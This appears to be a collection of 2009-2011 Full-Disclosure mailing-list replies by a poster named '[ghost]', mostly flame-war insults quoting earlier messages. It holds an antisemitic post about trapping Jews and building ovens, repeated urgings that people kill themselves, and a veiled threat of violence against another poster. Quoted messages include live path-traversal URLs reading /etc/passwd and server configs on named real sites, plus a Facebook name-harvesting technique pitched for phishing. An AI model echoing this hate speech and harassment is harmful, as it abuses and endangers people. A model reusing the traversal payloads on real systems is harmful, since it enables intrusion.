Re: [Full-disclosure] New FREE security tool!

[ghost]

I saw your site got defaced today, mr "your meant to be PRO."

Maybe time for less posting and more edumacation ?


On Thu, Dec 1, 2011 at 11:41 AM, xD 0x41  wrote:

> dude, your meant to be PRO,
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] POC for a simple gmail/possible code injection into html wich can be executed in an email, i will make the PoC code and explain how here and now...

[ghost]

>From what i've gathered... you believe that Anchor
Text is
an exploit ? ..cereal 
 ?


On Sat, Jun 11, 2011 at 8:09 PM, -= Glowing Doom =- wrote:

> Here again
>
> I will write a sentence now, and, i will just copy, so it is 'darkened'
> text , then with NO backspace just leave the text darkened, and goto 'link'
> , and enter a link.. the text will turn to red.
>
>
> (this is the easiest way to reproduce it...) 
>
>
>
>
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Insect Pro - Advisory 2011 0428 - Zero Day - Heap Buffer Overflow in xMatters APClient

[ghost]

So in 6 short months you've become a master hacker huh Gage ? All that
reporting "nigerian scammers" really put you to the top of the hacker
echelon ?  or is it cause you finally got a piece of paper as
"recognition" from your little school ?

In short; Shut the fuck up and go play in traffic, kid.


On Thu, Apr 28, 2011 at 2:39 PM, ichib0d crane  wrote:
> This isn't a zero day. This is a vulnerability. Being able to crash
> the system is nothing compared to the effort needed to actually write
> the exploit. What function is the heap overflow in? Did you guys even
> bother to find out? How do I know this is even a heap overflow? Heck
> you couldnt even overwrite a single register! How effective are
> standard mitigations on the target? Are there even any?(if there isnt
> and you couldnt overwrite a single reg theres something wrong with
> you).
>
> Cool fuzz story bro, tell it again, but a quick fuzz doesn't drop zero
> days. A smart exploit WRITER drops zero days.
>
> Come back once you stop being an amateur.
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] LFI Bug and other

[ghost]

It sure as hell was not meant to be a place where children post links
to sites with live LFI issues.



On Sat, Feb 19, 2011 at 4:58 AM, Friedrich Hausberger
 wrote:
> Is full disclosure a security mailing list, where I can find hacking
> stuff or a magazine about
> chat show? I hate pornography also, but this is the wrong way to publish.
>
> Here you have a LFI vuln I found by accident:
>
> http://bc-heppenheim.de/download.php?datei=../../../../../etc/passwd.
> Feel free to download the whole Debian 4.0 Distribution.
>
> Most provider do not use jails/chroot or similar for their multi hosted
> webserver. Nearly all providers are hackable under 3 days.
>
> Regards
>
> FHausberger
>
>>
>> Message: 17
>> Date: Sat, 19 Feb 2011 01:08:56 -0500
>> From: Hack Talk
>> Subject: [Full-disclosure] University of Central Florida Multiple LFI
>> To: full-disclosure@lists.grok.org.uk
>> Message-ID:
>>       
>> Content-Type: text/plain; charset="iso-8859-1"
>>
>> Found these and thought I'd share:
>>
>> -==-
>> http://excel.ucf.edu/index.php?p=../../../../../../../../../../../../../../../../../../../../etc/apache2/apache2.conf%00
>> http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00
>> -==-
>> Let me know if you do anything fun with 'em
>>
>> Luis Santana - Security+
>> Administrator - http://hacktalk.net
>> HackTalk Security - Security From The Underground
>> -- next part --
>> An HTML attachment was scrubbed...
>> URL: 
>> http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110219/6916c766/attachment-0001.html
>>
>> --
>>
>> Message: 18
>> Date: Sat, 19 Feb 2011 16:34:21 +0530
>> From: Madhur Ahuja
>> Subject: Re: [Full-disclosure] University of Central Florida Multiple
>>       LFI
>> To: Hack Talk
>> Cc: full-disclosure@lists.grok.org.uk
>> Message-ID:
>>       
>> Content-Type: text/plain; charset="utf-8"
>>
>> http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/passwd%00
>>
>> On Sat, Feb 19, 2011 at 11:38 AM, Hack Talk  wrote:
>>
>>> Found these and thought I'd share:
>>>
>>> -==-
>>>
>>> http://excel.ucf.edu/index.php?p=../../../../../../../../../../../../../../../../../../../../etc/apache2/apache2.conf%00
>>>
>>> http://chemistry.cos.ucf.edu/belfield/index.php?page=../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00
>>> -==-
>>> Let me know if you do anything fun with 'em
>>>
>>> Luis Santana - Security+
>>> Administrator - http://hacktalk.net
>>> HackTalk Security - Security From The Underground
>>>
>>>
>>> ___
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
>> -- next part --
>> An HTML attachment was scrubbed...
>> URL: 
>> http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110219/d0ac46de/attachment.html
>>
>> --
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>> End of Full-Disclosure Digest, Vol 72, Issue 44
>> ***
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] jaillords.com hacked, login/password/email list

[ghost]

I don't know who is a more worthless idiot, the people posting things
that will (without question) flood into oblivion because no one gives
a shit... or the town idiot who always feels the need to chime in to
prolong it. You'd think on a list this size, there would be tons of
town idiots...

But no, 99% of the time it's always that same idiot.




On Tue, Feb 8, 2011 at 7:46 AM, Paul Schmehl  wrote:
> --On February 7, 2011 11:58:50 PM + Bob Smith
>  wrote:
>
>> Weak passwords, no brute force protection,  lots of sql injections,
>> was easy to take full control of site
>>
>> Heres the password files
>>[snipped]
>> admins fix ur shit or we will be back
>>
>
> Do you seriously believe that admins for a site like this would be reading
> FD?
>
> --
> Paul Schmehl, Senior Infosec Analyst
> As if it wasn't already obvious, my opinions
> are my own and not those of my employer.
> ***
> "It is as useless to argue with those who have
> renounced the use of reason as to administer
> medication to the dead." Thomas Jefferson
> "There are some ideas so wrong that only a very
> intelligent person could believe in them." George Orwell
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] [Full-Disclosure] http://security.goatse.fr/gaping-hole-exposed (is a troll)

[ghost]

>  it seems to be not quite so funny for the lulz-seekers when it happens to 
>them.

http://www.dailytech.com/Goatse+Security+Defaced+Perpetrators+Alleged+Identity+Revealed+/article20776.htm

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Facebook name extraction based on email/wrong password + POC

[ghost]

The great thing about these threads is you can killfile anybody in
them and know you'll never miss anything useful.

Please keep it going.



On Thu, Aug 12, 2010 at 7:00 AM, Zerial.  wrote:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
> This bug appears in a spanish security news site:
>
>
> http://blog.segu-info.com.ar/2010/08/error-en-facebook-permite-extraer.html
>
> probably it was reported by someone
>
> cheers
>
>
>
>
>
>
> On 08/11/10 23:13, werew01f wrote:
>> Don't seems to work on my system. No user name or picture was displayed.
>>
>>
>> On Wed, Aug 11, 2010 at 5:01 PM, Atul Agarwal > > wrote:
>>
>>     Hello all,
>>
>>     Sometime back, I noticed a strange problem with Facebook, I had
>>     accidentally entered wrong password in Facebook, and it showed my
>>     first and last name with profile picture, along with the password
>>     incorrect message. I thought that the fact that it was showing the
>>     name had something to do with cookies stored, so I tried other email
>>     id's, and it was the same. I wondered over the possibilities, and
>>     wrote a POC tool to test it.
>>
>>     This script extracts the First and Last Name (provided by the users
>>     when they sign up for Facebook). Facebook is kind enough to return
>>     the name even if the supplied email/password combination is wrong.
>>     Further more,it also gives out the profile picture (this script does
>>     not harvest it, but its easy to add that too). Facebook users have
>>     no control over this, as this works even when you have set all
>>     privacy settings properly. Harvesting this data is very easy, as it
>>     can be easily bypassed by using a bunch of proxies.
>>
>>     As Facebook is so popular, some implications -
>>
>>     1) Someone has a list of email address that he has no clue about. He
>>     can feed them to Facebook one by one (or in a list, using a script
>>     like this) and chances are that he'll get more than 50% hits. Useful
>>     for phishing attacks (People will get more convinced when they see
>>     their *real* names).
>>
>>     2) One can generate random email addresses, and *verify* their
>>     existence . Hint: You can generate emails using (common names + a
>>     corporate domain), and check them against Facebook. Might come handy
>>     in a Pentest.
>>
>>     Rest is only left up to one's imagination.
>>
>>     Find the POC script attached.
>>
>>     PS: I did not report this, as I am unsure on what to call it, a
>>     "bug", "vuln" or a "feature".
>>
>>     Thanks,
>>     Atul Agarwal
>>     Secfence Technologies
>>     www.secfence.com 
>>
>>     ___
>>     Full-Disclosure - We believe in it.
>>     Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>     Hosted and sponsored by Secunia - http://secunia.com/
>>
>>
>>
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
> - --
> Zerial
> Seguridad Informatica
> Blog: http://blog.zerial.org
> Skype: erzerial
> Jabber: zer...@jabberes.org
> GTalk: ferna...@zerial.org
>
> -BEGIN PGP SIGNATURE-
> Version: GnuPG v1.4.10 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
>
> iEYEARECAAYFAkxj/oYACgkQIP17Kywx9JQRwgCfZCloGsZGESiYer3KXJ256Ahv
> v+gAnjAgODKzFw5/inB+Q4JwULaX1p5P
> =Rbq1
> -END PGP SIGNATURE-
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Congratulations Andrew

[ghost]

To sum up what full-disclosure has become:

random arrested and charged with drug possession = 30+ posts

unreal ircd backdoored = 4? responses.


*sigh*

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The_UT is repenting

[ghost]

Anders - i'm very sorry, you must of confused this mailing list with
astalavista forums. Please go away... or kill yourself, whichever you
prefer.. and in the interest of full-disclosure, I have my fingers
crossed for the latter :)

Thanks.

-

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Please stop stating the obvious. Keep in mind that to us your useless
replies are of no importance.

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
But their website graphics is super cool!

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
we care we really do From fulldisclosureboun...@list...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
take a chill pill wigger

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
shut the fuck up From fulldisclosureboun...@list...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
then you gadi and n3td3v should jump off a cliff

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Apology not accepted! Alcohol is required!

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
) If im ever near there i will look you up! Cheers

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Thinking a little highly of yourself arent you? Saving the world lol
lol lol Keep your moronic comics to yourself please

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
0day pictures of Mark's mom for sale From fulldisclosureboun...@list...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Keep your talentless tripe to yourself

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
You're obviously retarded

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
You forgot to include MiniMySqlat0r01.jar in your zip file..

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
 !

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Free 0day for all!!

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Fuck the vendors put them on FD

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Go suck a lemon bitch

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
The hardcore cockgobbler scene of scotland

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
TEH TXT FIEL FORMATTING SI TEH FUCKED From fulldisclosureboun...@list...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Religion is nothing more than mental crutches for weakminded people

Message Results

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
But isnt that where you feel most at home brother n3td3v?

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Because we are drawn to you like moths to a flame

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
It's safe to assume that it covers the both of you ignorant turds

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Nice teenspeak maybe your mother can invite n3td3v over to hot cocoa
and cookies?

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
removing anyone is pointless From fulldisclosureboun...@list...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Project chroma project? Welcome to the redundancy department of
redundancy.. Mike c aka n3td3v shut the fuck up

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
retardo

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Are you smoking crack?

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
Helol n3td3v

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
go suck a lemon From fulldisclosureboun...@list...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
OH MY GOD I DONT KNOW BUT DO WE REALLY CARE their site was always
a crappy piece of shit

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
He's too busy living the good life in a cardboard box in hobotown to
answer ) Vi hjælper dig til at træffe bedre beslutninger. Vi tilbyder
analyse og informationsservices der øger salget målretter
markedsføringen og reducerer risikoen for ta...

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
GO SUCK A LEMON

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (31613 messages)
And pigs eat bananas with their ears

Re:
by Anders Klixbull in full-disclosure@lists.grok.org.uk (3161

Re: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APPversion 1.0.6

[ghost]

You are very stupid.


On Tue, Dec 29, 2009 at 12:12 PM, WHK  wrote:
> Is not a feature, the vulnerabilities are controled by
> /vulnerabilities/[id vuln]/* no in file view_source.php.
>
> If an sistem have SQL inyection is a feature?
> mysql_query(' select * from '.$_GET['table']);
> is a feature?
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Israelis, take note

[ghost]

Hi All,

this is a message to all the non-israeli community

It's that time of year again! Please report to the help desk for your
oven building supplies, however, you will need to trap your own jews
this year. Cheese WILL be provided for you to lure them out of there
holes, but be very careful of there horns... and do not look a jew
directly in the eye as they have been known to turn people into money
grubbing slaves. It also goes without saying that you should never
ever ever ever ever trust a jew. It's a known fact the more you help
them, the more they spy on you.

Hope to see you at this coming get together, i'll bring the milk toast
you bring the tater salad.

Thanks,
Petey

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Blonde moment for the list administrator

[ghost]

So,

n3td3v is a hacker? Please provide any proof as to such.

Thanks,
Joey


On Fri, Sep 4, 2009 at 2:18 PM,  wrote:
> Exibar  wrote:
>>Yah, Blonde moment when he didnt' ban the idiot sooner...
>
> all hackers should be welcome here *all* hackers even the stupid
> ones.
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Just Asking

[ghost]

and yet still, none of what you posted has anything to do with Dan
commencing in questionable activities.



On Sun, Aug 2, 2009 at 1:30 PM, Paul Schmehl wrote:
> Nothing is more impressive than some anonymous twit attacking someone who
> does their research under their own name with stolen information they
> should not have to begin with and then selectively publishing only that
> which bolsters their supposed case.
>
> --On August 2, 2009 12:03:18 AM +0100 Ew0k 
> wrote:
>
>> A friend of mine observed something that I believe should be put on the
>> table.
>> While reading the e-mails sent back and forth by Dan Kaminsky, illegally
>> published on zf05 one of the e-mails caught his eye:
>>
>> """
>>
>> Dan,
>>
>>
>> This is another of our clients and you do not have the permission of the
>> client to perform this kind of scanning.
>> You have triggered over 22,000 events for us in this range alone as well
>> as caused a few other minor aggravations.
>> While you may believe you are a researcher and doing good, performing
>> your unauthorized testing on live production platforms is a reportable
>> offense.
>> I am going to kindly suggest you seek permission from various targets
>> before you continue your "research".
>> Please note I am under contractual obligations to report your
>> activities, we have recorded your "scans" on over 26 devices globally
>> and none of our clients have given you permission to perform these
>> "tests"
>>
>> """
>>
>> Now, according to this e-mail should Dan's CISSP certification be
>> revised?
>
>
>
> Paul Schmehl, If it isn't already
> obvious, my opinions are my own
> and not those of my employer.
> **
> WARNING: Check the headers before replying
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] n3td3v making ass of himself on twitter

[ghost]

Feel free to shut the fuck up, because no one cares about YOU or
NETDEV. You're current posts polluting this list is just as bad as
anything he has ever posted. MATCHING WITS WITH A RETARD IS NOT NEWS
WORTHY.


On Fri, Jul 17, 2009 at 2:30 PM, Ureleet wrote:
> lol.  u r such an idiot.
>
> i call u a kid because u r much younger than i.  thats y ur a kid.  o,
> and cause u live @ home w/ ur mom and make false accusations all day
> on the twitter.
>
> why did i say what i said?  cause u do it all day on twitter, make
> false accusations, and lie.  i gave u a dose of ur own medicine.  not
> very nice is it?
>
> i dont know if u r ant sec, i dont know if ur anti-sec, i dont know if
> u r hdmoore, i dont know you from adam.  i still STILL dont care
> either.
>
> n3td3v isnt a group.  n3td3v is ur name, ur online name.  the fact
> that u have a group with 10 people on it that like u, and 3950 more
> that watch u to see how much u make a full of yourself is hilarious.
> you are a self-righteous troll who talks about himself in the 3rd
> person and is so stuck up his own ass that you had to give your group
> ur own name.  u conceited wh0re.
>
> u dont have a career, no one cares about ur life, and your reputation
> is shot to hell.  ur targeted because u target others.  u are being
> smeared because u smear others.  like i always have, i call u out
> about ur lies.
>
> am i stalking u on twitter?  nope, u invited me. you dumbazz.
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] n3td3v making ass of himself on twitter

[ghost]

GO KILL YOURSELF.

On Fri, Jul 17, 2009 at 2:31 PM, Ureleet wrote:
> o, an i am one of ur followers on twitter.  start panicing now!
>
> On Fri, Jul 17, 2009 at 5:30 PM, Ureleet wrote:
>> lol.  u r such an idiot.
>>
>> i call u a kid because u r much younger than i.  thats y ur a kid.  o,
>> and cause u live @ home w/ ur mom and make false accusations all day
>> on the twitter.
>>
>> why did i say what i said?  cause u do it all day on twitter, make
>> false accusations, and lie.  i gave u a dose of ur own medicine.  not
>> very nice is it?
>>
>> i dont know if u r ant sec, i dont know if ur anti-sec, i dont know if
>> u r hdmoore, i dont know you from adam.  i still STILL dont care
>> either.
>>
>> n3td3v isnt a group.  n3td3v is ur name, ur online name.  the fact
>> that u have a group with 10 people on it that like u, and 3950 more
>> that watch u to see how much u make a full of yourself is hilarious.
>> you are a self-righteous troll who talks about himself in the 3rd
>> person and is so stuck up his own ass that you had to give your group
>> ur own name.  u conceited wh0re.
>>
>> u dont have a career, no one cares about ur life, and your reputation
>> is shot to hell.  ur targeted because u target others.  u are being
>> smeared because u smear others.  like i always have, i call u out
>> about ur lies.
>>
>> am i stalking u on twitter?  nope, u invited me. you dumbazz.
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] PayPal donation form reveals beneficiary's email address

[ghost]

You wrote a security advisory with 11 references which you provided on
the bottom simply to say...

paypal leaks your e-mail address.

The security industry is not for you, go back to checkers.

On Sat, May 2, 2009 at 3:52 PM, Eitan Caspi  wrote:
> I agree Frank, and so I wrote "By clicking a recent version (so I believe, I 
> can't trace and test various versions) of a PayPal Donation button...".
>
> It doesn't happen in ALL of the donation buttons. I also believe this happens 
> mostly in button codes created by the PayPal site and less or at all in 
> donation buttons/forms manually created by the beneficiary at its own site, 
> and I think the site you linked to is made just with this kind of manual code.
>
> Eitan
>
> -Original Message-
> From: Frank Dietrich [mailto:bits_n_by...@gmx.de]
> Sent: Saturday, May 02, 2009 8:50 PM
> To: full-disclosure@lists.grok.org.uk
> Cc: eitanca...@yahoo.com
> Subject: Re: [Full-disclosure] PayPal donation form reveals beneficiary's 
> email address
>
> Hi Eitan,
>
> Eitan Caspi  wrote:
>>3. At the donation request page you landed at  click the donation
>>button ...
>>[...]
>>4. Read the beneficiary's primary email address at the top of the
>>donation form in PayPal (located in the "h1" section of the HTML
>>code of the form).
>
> May be not true for every paypal donation form.
> If you click on following site on the doante button
>  http://www.art-stream.org/donate.php#donate-now
> there is no email address in the page source.
> Or I don't get the point.
>
> regards
> Frank
> --
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Administrivia: Spring Cleaning

[ghost]

as much as I try and squint, your e-mail address still doesnt turn
into jo...@grok.org.uk

so maybe you should shut the fuck up and not play moderator when you
arent wanted nor needed.

On Sun, Feb 1, 2009 at 12:41 PM, John C. A. Bambenek, GCIH, CISSP
 wrote:
> Looks like someone else is volunteering to join Andrew is F-D purgatory
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] NO-IP service Flaw

[ghost]

Posts like these are just as bad as n3td3v posts. Here's an idea,
learn security, then come back with something interesting.

kthnx


On Mon, Jan 26, 2009 at 10:47 AM, Tribal MP  wrote:
> A flaw exists in NO-IP service while updating the status. The problem
> reside in the URL and corresponding variables because they are send in
> plain text.
>
> By monitoring HTTP traffic in a machine using NO-IP DUC it's possible
> to intercept the username, password and subdomain for the account.
>
> Example:
> http://dynupdate.no-ip.com/ducupdate.php?username=em...@email.com&pass=123456789&h[]=subdomain.no-ip.biz
>
>
> Fabio Pinheiro
> http://dicas3000.blogspot.com
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Jesus was jew !

[ghost]

On Fri, Jan 23, 2009 at 8:51 AM, Avraham Schneider
 wrote:
>
>
> On Fri, Jan 23, 2009 at 3:09 PM, Prototype This  wrote:
>>
>> Stop replying
>
> Make me.
>


hahahahaha its n3td3v!

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The war in Palestine

[ghost]

"Israel News: Ynetnews"

yeah i'll get right on reading that propaganda {delete}


On Fri, Jan 23, 2009 at 8:09 AM, Avraham Schneider
 wrote:
> The Palestinian Pandora's Box
>
> Yoram Ettinger, Ynet, January 23, 2009
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Jesus was jew !

[ghost]

On Fri, Jan 23, 2009 at 7:53 AM, Avraham Schneider
 wrote:
>
>

>
> blablabla... that's all you do.
>

Can't respond to something that has you completely pinned down to what
you are huh? :-)

>>
>>
>> >
>> > Why don't you make up your mind, or at least spread contradicting claims
>> > over multiple posts or under different handles as you are accustomed to
>> >
>> > Besides, I am not 'showing my support' - I am responding to propaganda
>> > distributed here by people like you.
>> >
>>
>> Typical zionist jew, if they don't like your opinion they call it
>> propaganda... and then respond with reports from some quasi-government
>> agency that specializes in propaganda. Now that's funny.
>
> What's funny is that you are avoiding the question.
>

I fail to see a question in that quote, chicken hawk. You'd think
someone who falls back on grammar and spelling attacks, because
they've lost there argument by only believing in washed government
zionist bullshit, would know what a question mark was.


>>
>>
>> >
>> > As for cowardliness, it seems you are the one who posts using a
>> > nickname.
>> >
>>
>> Would you like to meet and find out who I am "Avraham"? I've lived in
>> the bay my entire life and just recently moved out of state. My entire
>> family is still there and I will be returning to visit sooner rather
>> than later. This isn't "G4TV Special Report," you can't hide behind
>> the keyboard in the real world.
>
> Sure. And you are still hiding behind a psuedoname.
>

That's all you have avri baby? im "hiding behind a psuedoname(sic)"?
What do you want my name for avri? so you can google me? You won't
find anything, unlike some stupid zionist scum on a mailing list, my
entire life isn't up for search on the internet. :-)

>>
>>
>> Sideline cheerleaders deserve the same war at there doorstep as the
>> scum that commit it. You preach death, you're no better than nazi
>> scum.
>
> I preach death? When?
>

Typical zionist scum, so sad. They think as long as they preach death
on Arabs then it's okay.

>>
>> Doing research on someone who supports the death of innocent civilians
>> is far from pathetic.
>
> You are claiming I support the death of innocent civilians - prove that.
>

Read your posts, chicken hawk.

>>
>> In fact, if I am the only one who has done
>> research on you I would be quite ashamed of the human race.
>
> Who cares who you're ashamed of?
>

You should avri, you really should.

>>
>>
>> and this coming from the man who wants my real name so he could do his
>> research on me
>
> No, just showing that you are the one who is a coward, I don't really care
> who you are.
>

Says the coward who wouldn't fight for the "country" he spreads propaganda for.

I can bring the war you clammer for to your front door step if you'd
like, watch who you call a coward avri, you don't want to see how far
the rabbit hole goes.

>
>> ... typical zionist scum, nothing but double standards
>> if you're not "one of them."
>
> Yes, and we also drink the blood of Christian babies on Passover.
>

Yes, because your kind don't hold a double standard right?  It's not
"us and them" with your people, by heavens no, that's not the zionist
way. Go gargle some red wine on a babys penis.

>
> Why are you smiling?
>

:-)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Jesus was jew !

[ghost]

On Fri, Jan 23, 2009 at 4:15 AM, Avraham Schneider
 wrote:
> Your logic is flawed:
>
> On the one hand you claim it is bad to serve in the Israeli military
> On the other you claim that it is bad that I didn't serve in the Israeli
> military
>

You're a complete and utter moron if you can't comprehend what I
wrote. Chicken hawk.

>
> Why don't you make up your mind, or at least spread contradicting claims
> over multiple posts or under different handles as you are accustomed to
>
> Besides, I am not 'showing my support' - I am responding to propaganda
> distributed here by people like you.
>

Typical zionist jew, if they don't like your opinion they call it
propaganda... and then respond with reports from some quasi-government
agency that specializes in propaganda. Now that's funny.

>
> As for cowardliness, it seems you are the one who posts using a nickname.
>

Would you like to meet and find out who I am "Avraham"? I've lived in
the bay my entire life and just recently moved out of state. My entire
family is still there and I will be returning to visit sooner rather
than later. This isn't "G4TV Special Report," you can't hide behind
the keyboard in the real world.

Sideline cheerleaders deserve the same war at there doorstep as the
scum that commit it. You preach death, you're no better than nazi
scum.

>
> Finally, You are the one being pathetic for doing that much research on me
> online to get to the conclusion I did not serve in the military (which is
> true BTW, and not like js-sentier's conclusion that I'm the soldier who was
> filmed throwing rocks at Palestinians.)
>

Doing research on someone who supports the death of innocent civilians
is far from pathetic. In fact, if I am the only one who has done
